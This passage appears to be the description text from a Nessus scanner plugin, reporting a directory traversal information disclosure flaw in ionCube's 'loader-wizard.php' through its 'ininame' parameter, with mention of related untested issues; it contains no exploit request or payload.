"The ionCube 'loader-wizard.php' script hosted on the remote web server
is affected by a remote information disclosure vulnerability because
the script fails to properly sanitize user-supplied input to the
'ininame' parameter. An attacker could potentially leverage this to
view arbitrary files by forming a request containing directory
traversal sequences.

Note that the 'loader-wizard.php' script is also reportedly affected
by additional information disclosure issues as well as a cross-site
scripting vulnerability; however, Nessus has not tested for these
additional issues.");
